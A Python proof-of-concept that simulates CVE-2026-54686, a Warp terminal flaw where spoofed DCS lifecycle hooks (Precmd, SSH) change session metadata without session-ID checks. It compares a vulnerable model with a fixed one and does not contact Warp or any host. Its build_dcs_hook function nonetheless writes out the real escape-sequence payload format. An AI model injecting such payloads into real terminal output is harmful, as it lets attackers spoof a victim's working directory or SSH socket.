#!/usr/bin/env python3
"""
CVE-2026-54686 local Proof of Concept.

This script models the Warp DCS lifecycle hook spoofing issue described in
GHSA-9w2v-jhww-vm85. It does not interact with Warp, open SSH connections, or
execute attacker-controlled commands. It only demonstrates how accepting
state-mutating DCS hooks without session-ID integrity checks can alter terminal
session metadata.
"""

from __future__ import annotations

import argparse
from dataclasses import dataclass, field
import json
import sys
from typing import Any


DCS_PREFIX = b"\x1bP$d"
DCS_ST = b"\x9c"
CASE_NAMES = ("cwd", "ssh")
REGISTERED_LOCAL_SESSION_ID = 424242


@dataclass(frozen=True)
class ParsedHook:
    name: str
    value: dict[str, Any]


@dataclass
class TerminalModel:
    validate_session_ids: bool
    active_cwd: str = "/home/victim/project"
    ssh_metadata: dict[str, Any] | None = None
    registered_session_ids: set[int] = field(
        default_factory=lambda: {REGISTERED_LOCAL_SESSION_ID}
    )
    rejected_hooks: list[str] = field(default_factory=list)
    accepted_hooks: list[str] = field(default_factory=list)

    def process_dcs_stream(self, stream: bytes) -> None:
        hook = parse_dcs_hook(stream)
        if self._should_reject(hook):
            return

        self.accepted_hooks.append(hook.name)
        if hook.name == "Precmd":
            pwd = hook.value.get("pwd")
            if isinstance(pwd, str):
                self.active_cwd = pwd
        elif hook.name == "SSH":
            self._apply_ssh_hook(hook.value)

    def _should_reject(self, hook: ParsedHook) -> bool:
        if not self.validate_session_ids:
            return False

        if not hook_requires_registered_session(hook.name):
            return False

        session_id = hook.value.get("session_id")
        if not isinstance(session_id, int):
            self._reject(hook.name, "missing session_id")
            return True

        if session_id not in self.registered_session_ids:
            self._reject(hook.name, f"unregistered session_id {session_id}")
            return True

        if hook.name == "SSH":
            remote_session_id = hook.value.get("remote_session_id")
            if not isinstance(remote_session_id, int) or remote_session_id == 0:
                self._reject(hook.name, "missing or zero remote_session_id")
                return True
            self.registered_session_ids.add(remote_session_id)

        return False

    def _reject(self, hook_name: str, reason: str) -> None:
        self.rejected_hooks.append(f"{hook_name}: {reason}")

    def _apply_ssh_hook(self, value: dict[str, Any]) -> None:
        self.ssh_metadata = {
            "socket_path": value.get("socket_path"),
            "remote_shell": value.get("remote_shell"),
            "remote_session_id": value.get("remote_session_id"),
        }


@dataclass(frozen=True)
class CaseResult:
    name: str
    accepted: bool
    expected_accepted: bool
    before: str
    after: str
    rejected_hooks: tuple[str, ...]

    @property
    def ok(self) -> bool:
        return self.accepted == self.expected_accepted


def hook_requires_registered_session(hook_name: str) -> bool:
    return hook_name in {
        "Bootstrapped",
        "Clear",
        "CommandFinished",
        "FinishUpdate",
        "InputBuffer",
        "Precmd",
        "Preexec",
        "SSH",
    }


def build_dcs_hook(hook_name: str, value: dict[str, Any]) -> bytes:
    payload = json.dumps(
        {"hook": hook_name, "value": value},
        separators=(",", ":"),
        sort_keys=True,
    ).encode("utf-8")
    return DCS_PREFIX + payload.hex().encode("ascii") + DCS_ST


def parse_dcs_hook(stream: bytes) -> ParsedHook:
    if not stream.startswith(DCS_PREFIX) or not stream.endswith(DCS_ST):
        raise ValueError("input is not a Warp-style hex-encoded JSON DCS hook")

    hex_payload = stream[len(DCS_PREFIX) : -len(DCS_ST)]
    try:
        payload = bytes.fromhex(hex_payload.decode("ascii")).decode("utf-8")
        data = json.loads(payload)
    except (UnicodeDecodeError, ValueError, json.JSONDecodeError) as exc:
        raise ValueError("failed to decode DCS hook payload") from exc

    hook_name = data.get("hook")
    value = data.get("value")
    if not isinstance(hook_name, str) or not isinstance(value, dict):
        raise ValueError("DCS hook payload must contain hook and value fields")

    return ParsedHook(name=hook_name, value=value)


def new_model(mode: str) -> TerminalModel:
    return TerminalModel(validate_session_ids=(mode == "fixed"))


def run_cwd_case(mode: str, show_stream: bool) -> CaseResult:
    model = new_model(mode)
    before = model.active_cwd
    attacker_cwd = "/tmp/attacker-controlled-cwd"
    stream = build_dcs_hook("Precmd", {"pwd": attacker_cwd})

    print("[*] Case: scoped CWD metadata spoofing")
    print("[*] Spoofed hook: Precmd without session_id")
    print(f"[*] Initial active CWD: {before}")
    if show_stream:
        print(f"[*] DCS stream repr: {stream!r}")

    model.process_dcs_stream(stream)
    after = model.active_cwd
    accepted = after == attacker_cwd

    print(f"[*] Final active CWD: {after}")
    print_rejections(model)

    return CaseResult(
        name="cwd",
        accepted=accepted,
        expected_accepted=(mode == "vulnerable"),
        before=before,
        after=after,
        rejected_hooks=tuple(model.rejected_hooks),
    )


def run_ssh_case(mode: str, show_stream: bool) -> CaseResult:
    model = new_model(mode)
    before = repr(model.ssh_metadata)
    attacker_metadata = {
        "socket_path": "/tmp/attacker-controlled-warp.sock",
        "remote_shell": "zsh",
    }
    stream = build_dcs_hook("SSH", attacker_metadata)

    print("[*] Case: SSH session transport metadata spoofing")
    print("[*] Spoofed hook: SSH without session_id or remote_session_id")
    print(f"[*] Initial SSH metadata: {before}")
    if show_stream:
        print(f"[*] DCS stream repr: {stream!r}")

    model.process_dcs_stream(stream)
    after = repr(model.ssh_metadata)
    accepted = model.ssh_metadata is not None

    print(f"[*] Final SSH metadata: {after}")
    print_rejections(model)

    return CaseResult(
        name="ssh metadata",
        accepted=accepted,
        expected_accepted=(mode == "vulnerable"),
        before=before,
        after=after,
        rejected_hooks=tuple(model.rejected_hooks),
    )


def print_rejections(model: TerminalModel) -> None:
    if not model.rejected_hooks:
        print("[*] Rejected hooks: none")
        return

    print("[*] Rejected hooks:")
    for item in model.rejected_hooks:
        print(f"    - {item}")


def print_case_summary(result: CaseResult, mode: str) -> None:
    if result.accepted:
        print(f"[!] VULNERABLE: spoofed {result.name} was accepted.")
    else:
        print(f"[+] FIXED: spoofed {result.name} was rejected.")

    if result.ok:
        print(f"[+] Case result matched expected {mode} behavior.")
    else:
        print(f"[-] Case result did not match expected {mode} behavior.")


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Local PoC for CVE-2026-54686 Warp DCS lifecycle hook spoofing."
        )
    )
    parser.add_argument(
        "--case",
        choices=(*CASE_NAMES, "all"),
        default="all",
        help="Run one PoC case or all cases.",
    )
    parser.add_argument(
        "--mode",
        choices=("vulnerable", "fixed"),
        default="vulnerable",
        help="Run the vulnerable or fixed session-ID validation model.",
    )
    parser.add_argument(
        "--show-stream",
        action="store_true",
        help="Print generated DCS streams with repr(), not as raw controls.",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    case_names = CASE_NAMES if args.case == "all" else (args.case,)

    print(f"[*] Mode: {args.mode}")
    print(
        "[*] Registered legitimate local session_id: "
        f"{REGISTERED_LOCAL_SESSION_ID}"
    )

    results: list[CaseResult] = []
    for case_name in case_names:
        print()
        if case_name == "cwd":
            result = run_cwd_case(args.mode, args.show_stream)
        else:
            result = run_ssh_case(args.mode, args.show_stream)

        print_case_summary(result, args.mode)
        results.append(result)

    if all(result.ok for result in results):
        print()
        print("[+] All selected simulations behaved as expected.")
        return 0

    print()
    print("[-] One or more simulations did not behave as expected.")
    return 1


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)